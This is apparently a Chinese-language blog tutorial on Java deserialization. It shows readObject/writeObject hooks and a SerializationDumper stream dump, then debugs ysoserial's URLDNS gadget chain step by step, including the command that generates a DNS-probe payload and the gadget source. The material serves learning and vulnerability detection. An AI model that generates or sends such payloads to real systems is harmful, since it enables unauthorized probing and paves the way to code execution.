反序列化

  • 序列化:将对象写入到IO流,ObjectOutputStream.writeObject()方法
  • 反序列化:从IO流恢复对象,ObjectInputStream.readObject()方法

简单实现

Java在序列化对象时,将会调用这个对象的writeObject方法,参数类型是ObjectOutputStream,开发者可以将任何内容写入这个Stream中;反序列化时,也会调用这个对象的readObject方法,可以读取到前面写入的内容并进行处理

  • 定义一个Person类,继承java.io.Serializable接口,并重写writeObject/readObject方法 ```java package com.naraku.sec.serialize; import java.io.*;

public class Person implements Serializable { public String name; public int age;

  1. Person(String name, int age) {
  2. this.name = name;
  3. this.age = age;
  4. }
  5. private void writeObject(ObjectOutputStream oos) throws IOException {
  6. System.out.println("Call writeObject");
  7. oos.defaultWriteObject();
  8. oos.writeObject("This is a Person");
  9. }
  10. private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  11. System.out.println("Call readObject");
  12. ois.defaultReadObject();
  13. String message = (String) ois.readObject();
  14. System.out.println(message);
  15. }

}

  1. - 对这个类进行实例化,然后对实例化对象进行序列化和反序列化
  2. ```java
  3. package com.naraku.sec.serialize;
  4. import java.io.FileInputStream;
  5. import java.io.FileOutputStream;
  6. import java.io.ObjectInputStream;
  7. import java.io.ObjectOutputStream;
  8. public class DemoSerialize {
  9. public static void main(String[] args) throws Exception {
  10. String serfile = "person.ser";
  11. Person person = new Person("Naraku", 20);
  12. // Serialize
  13. FileOutputStream fos = new FileOutputStream(serfile);
  14. ObjectOutputStream oos = new ObjectOutputStream(fos);
  15. oos.writeObject(person);
  16. fos.close();
  17. // DeSerialize
  18. FileInputStream fis = new FileInputStream(serfile);
  19. ObjectInputStream ois = new ObjectInputStream(fis);
  20. Object res = ois.readObject();
  21. System.out.println(res);
  22. ois.close();
  23. }
  24. }
  25. /* 输出结果
  26. Call writeObject
  27. Call readObject
  28. This is a Person
  29. com.naraku.sec.serialize.Person@7e6cbb7a
  30. */
  • 输出时可以看到,在序列化和反序列化时,分别触发了类中重写的writeObjectreadObject方法。另外在类中的readObject方法中也可以对写入的字符串进行操作,例如这里将其进行了打印。 ```java private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { System.out.println(“Call readObject”); ois.defaultReadObject(); String message = (String) ois.readObject(); System.out.println(message); }
  1. - 使用[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)工具进行分析
  2. ```bash
  3. $ java -jar SerializationDumper-v1.13.jar -r person.ser
  4. STREAM_MAGIC - 0xac ed
  5. STREAM_VERSION - 0x00 05
  6. Contents
  7. TC_OBJECT - 0x73
  8. TC_CLASSDESC - 0x72
  9. className
  10. Length - 31 - 0x00 1f
  11. Value - com.naraku.sec.serialize.Person - 0x636f6d2e6e6172616b752e7365632e73657269616c697a652e506572736f6e
  12. serialVersionUID - 0x8c 5a a6 89 b9 98 8d 24
  13. newHandle 0x00 7e 00 00
  14. classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
  15. fieldCount - 2 - 0x00 02
  16. Fields
  17. 0:
  18. Int - I - 0x49
  19. fieldName
  20. Length - 3 - 0x00 03
  21. Value - age - 0x616765
  22. 1:
  23. Object - L - 0x4c
  24. fieldName
  25. Length - 4 - 0x00 04
  26. Value - name - 0x6e616d65
  27. className1
  28. TC_STRING - 0x74
  29. newHandle 0x00 7e 00 01
  30. Length - 18 - 0x00 12
  31. Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
  32. classAnnotations
  33. TC_ENDBLOCKDATA - 0x78
  34. superClassDesc
  35. TC_NULL - 0x70
  36. newHandle 0x00 7e 00 02
  37. classdata
  38. com.naraku.sec.serialize.Person
  39. values
  40. age
  41. (int)20 - 0x00 00 00 14
  42. name
  43. (object)
  44. TC_STRING - 0x74
  45. newHandle 0x00 7e 00 03
  46. Length - 6 - 0x00 06
  47. Value - Naraku - 0x4e6172616b75
  48. objectAnnotation
  49. TC_STRING - 0x74
  50. newHandle 0x00 7e 00 04
  51. Length - 16 - 0x00 10
  52. Value - This is a Person - 0x54686973206973206120506572736f6e
  53. TC_ENDBLOCKDATA - 0x78

ObjectAnnotation

这里可以看到,objectAnnotation处存放了前面所写入的字符串This is a Person

  • 在自定义的writeObject方法中,调用传入的ObjectOutputStreamwriteObject方法写入的对象,会写入到objectAnnotation中。
  • 而自定义的readObject方法中,调用传入的ObjectInputStreamreadObject方法读入的对象,则是objectAnnotation中存储的对象。

    这个特性就让Java的开发变得非常灵活。比如后面将会讲到的HashMap,其就是将Map中的所有键、值都存储在objectAnnotation中,而并不是某个具体属性里。

ysoserial

ysoserial是一款用于生成反序列化数据的工具。攻击者可以选择利用链和输入自定义命令,然后通过该工具生成对应的反序列化利用数据,然后将生成的数据发送给存在漏洞的目标,从而执行命令。

  • Git下载源码然后使用IDEA打开,此时会自动根据pom.xml文件的配置下载依赖
    • 如果依赖有问题,可以手工点击菜单里的Files - Project Structure配置Libraries
  • pom.xml文件中找到入口文件,也就是GeneratePayload.java ```xml ysoserial.GeneratePayload
  1. - 打开`src/main/java/ysoserial/GeneratePayload.java`,点击`main`函数左侧的小箭头,选择`Debug`
  2. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/520228/1629788613542-ad6de54e-ddf8-4e1f-8f74-fe5a3a3776e6.png#crop=0&crop=0&crop=1&crop=1&height=191&id=xmPRh&margin=%5Bobject%20Object%5D&name=image.png&originHeight=382&originWidth=882&originalType=binary&ratio=1&rotation=0&showTitle=false&size=97605&status=done&style=none&title=&width=441)
  3. - 这个时候可以看到控制台只打印了一些使用说明,是因为没有添加参数
  4. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/520228/1629788765404-de4199e2-8501-4ff7-9c08-667637ec6e17.png#crop=0&crop=0&crop=1&crop=1&height=198&id=d5E6T&margin=%5Bobject%20Object%5D&name=image.png&originHeight=395&originWidth=1055&originalType=binary&ratio=1&rotation=0&showTitle=false&size=60197&status=done&style=none&title=&width=527.5)
  5. <a name="T7bdi"></a>
  6. ### Gadget
  7. > 利用链也叫“Gadget Chains”,通常称为Gadget,它连接的是从触发位置开始到执行命令的位置结束。
  8. 下载编译好的Jar包:[ysoserial-master-SNAPSHOT.jar](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
  9. ```bash
  10. $ java -jar ysoserial.jar URLDNS "<DNGLog地址>" > dnslog.ser

如上简单生成了一条URLDNS的POC,大部分的Gadget的参数就是一条命令。将生成好的POC发送给目标,如果目标存在反序列化漏洞,并满足这个Gadget对应的条件,那么该命令将会被执行。

URLDNS

URLDNS是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合检测反序列化漏洞时使⽤:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

    序列化

  • GeneratePayload.javamain函数处添加断点,然后修改配置添加参数,最后点击调试 ```shell

    配置参数

    URLDNS “

  1. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/520228/1629795319914-ee5d1381-a26d-46fe-8280-b46f315f7169.png#crop=0&crop=0&crop=1&crop=1&height=254&id=fvnZZ&margin=%5Bobject%20Object%5D&name=image.png&originHeight=508&originWidth=957&originalType=binary&ratio=1&rotation=0&showTitle=false&size=106268&status=done&style=none&title=&width=478.5)
  2. - 首先ysoserial接收到参数并分别赋值,接着进入`Utils.getPayloadClass("URLDNS")`方法,跟进
  3. ```java
  4. final String payloadType = args[0]; // URLDNS
  5. final String command = args[1]; // <DNGLog平台地址>

image.png

  • getPayloadClass()通过反射获取到传入的className的Class对象,即URLDNS的Class类对象,并赋值给clazz后返回
    • 这里一开始的Class.forName("URLDNS")并没有找到对应的类对象,所以clazz == null
    • 进入if语句后,通过拼接完整类名ysoserial.payloads.URLDNS才获取到类对象

image.png

  • 返回后,payloadClass == ysoserial.payloads.URLDNS,非空,进入下一步。
  • 使用前面获取到的URLDNS类对象创建实例,并调用该实例的getObject()方法 ```java final ObjectPayload payload = payloadClass.newInstance(); final Object object = payload.getObject(command);
  1. - 跟进看看`getObject()`方法
  2. - 先创建了一个HashMap对象:`HashMap ht = new HashMap();`
  3. - 然后创建一个URL对象,并将URL对象设置为键,对应的值为传入的参数`url``ht.put(u, url)`
  4. - 最后通过反射设置URL对象的`hashCode`的值为`-1``Reflections.setFieldValue(u, "hashCode", -1)`
  5. ```java
  6. public Object getObject(final String url) throws Exception {
  7. //Avoid DNS resolution during payload creation
  8. //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
  9. URLStreamHandler handler = new SilentURLStreamHandler();
  10. HashMap ht = new HashMap(); // HashMap that will contain the URL
  11. URL u = new URL(null, url, handler); // URL to use as the Key
  12. ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
  13. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
  14. return ht;
  15. }
  • 将HashMap对象返回后,对其进行序列化 ```java Serializer.serialize(object, out);
  1. ```java
  2. public static void serialize(final Object obj, final OutputStream out) throws IOException {
  3. final ObjectOutputStream objOut = new ObjectOutputStream(out);
  4. objOut.writeObject(obj);
  5. }
  • 至此就是URLDNS的整个序列化流程

反序列化

前面的简单实现的例子中说了,在序列化时通过writeObject方法写入的数据,可以在反序列化时通过readObject方法对其进行操作。 因为Java开发者(包括Java内置库的开发者)经常会在readObject方法中写⾃⼰的逻辑,所以导致可以构造利⽤链。

在这个URLDNS利用链中,ysoserial调用了URLDNS类的getObject方法,最后返回了HashMap对象,而这个对象就是后来被序列化的对象。
在这段POC被反序列化时,也会调用HashMap对象的readObject方法,因此可以直接看HashMap类的readObject方法。

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws IOException, ClassNotFoundException {
  3. // Read in the threshold (ignored), loadfactor, and any hidden stuff
  4. s.defaultReadObject();
  5. reinitialize();
  6. if (loadFactor <= 0 || Float.isNaN(loadFactor))
  7. throw new InvalidObjectException("Illegal load factor: " +
  8. loadFactor);
  9. s.readInt(); // Read and ignore number of buckets
  10. int mappings = s.readInt(); // Read number of mappings (size)
  11. if (mappings < 0)
  12. throw new InvalidObjectException("Illegal mappings count: " +
  13. mappings);
  14. else if (mappings > 0) { // (if zero, use defaults)
  15. // Size the table using given load factor only if within
  16. // range of 0.25...4.0
  17. float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
  18. float fc = (float)mappings / lf + 1.0f;
  19. int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
  20. DEFAULT_INITIAL_CAPACITY :
  21. (fc >= MAXIMUM_CAPACITY) ?
  22. MAXIMUM_CAPACITY :
  23. tableSizeFor((int)fc));
  24. float ft = (float)cap * lf;
  25. threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
  26. (int)ft : Integer.MAX_VALUE);
  27. // Check Map.Entry[].class since it's the nearest public type to
  28. // what we're actually creating.
  29. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
  30. @SuppressWarnings({"rawtypes","unchecked"})
  31. Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
  32. table = tab;
  33. // Read the keys and values, and put the mappings in the HashMap
  34. for (int i = 0; i < mappings; i++) {
  35. @SuppressWarnings("unchecked")
  36. K key = (K) s.readObject();
  37. @SuppressWarnings("unchecked")
  38. V value = (V) s.readObject();
  39. putVal(hash(key), key, value, false, false);
  40. }
  41. }
  42. }
  • 在41行putVal(hash(key), key, value, false, false);处打下断点

    在没有分析过的情况下,我为何会关注hash函数? 因为ysoserial的注释中很明确地说明了“During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的计算操作触发了DNS请求。

利用链分析

前面手动生成了一个POC并存放到dnslog.ser,这里利用其进行反序列化分析

  • 创建一个TestDNS.java文件 ```java import java.io.*;

public class TestDNS { public static void main(String[] args) throws IOException, ClassNotFoundException { String serfile = “dnslog.ser”; FileInputStream fis = new FileInputStream(serfile); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); System.out.println(ois); } }

  1. - 然后在`TestDNS.java`中开始调试,程序从`TestDNS``ois.readObject()`进入到HashMap的断点,接着调用了`HashMap.putVal()`方法,该方法中传入了一个参数`hash(key)`,跟进一下
  2. - `hash()`方法调用了`key.hashCode()`,继续执行后面的`handler.hashCode()`,继续跟进,进入到`URLStreamHandler`
  3. - 序列化时的`getObject()`方法中使用反射将`URL`对象的`hashCode`设为`-1`
  4. - 在该方法中调用了`getHostAddress()`方法,跟进一下
  5. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1648624411550-3c13dd9e-1344-43ea-b8d3-b3fd6cbfd64f.png#clientId=u6f3406ef-6c7a-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=198&id=u5e3bfca8&margin=%5Bobject%20Object%5D&name=image.png&originHeight=395&originWidth=890&originalType=binary&ratio=1&rotation=0&showTitle=false&size=68319&status=done&style=none&taskId=u5d65e5f9-942b-49f4-92fe-823fca7bf4f&title=&width=445)
  6. - 此处`InetAddress.getByName(host)`的作⽤是根据主机名获取IP地址,即进行一次DNS查询
  7. - 执行完这一步后即可在DNSLog平台看到DNS请求记录
  8. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1648624364606-26ffd239-b7c0-4f52-b636-70558277606a.png#clientId=u6f3406ef-6c7a-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=190&id=u45954b2b&margin=%5Bobject%20Object%5D&name=image.png&originHeight=380&originWidth=902&originalType=binary&ratio=1&rotation=0&showTitle=false&size=54084&status=done&style=none&taskId=u81eed428-ffbf-4298-a765-19d88a86182&title=&width=451)
  9. - 从反序列化开始的`readObject`,到最后触发DNS请求的`getByName`URLDNSGadget如下:
  10. ```java
  11. HashMap->readObject()
  12. HashMap->hash()
  13. URL->hashCode()
  14. URLStreamHandler->hashCode()
  15. URLStreamHandler->getHostAddress()
  16. InetAddress->getByName()

image.png

hashCode的问题

  • 为什么要通过反射将URL对象的hashCode的值为-1?原因已经在URLDNS的注释中:

    During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

设置这个URL对象的hashCode为初始值-1,这样反序列化时将会重新计算其hashCode,才能触发到后⾯的DNS请求,否则不会调⽤URL->hashCode()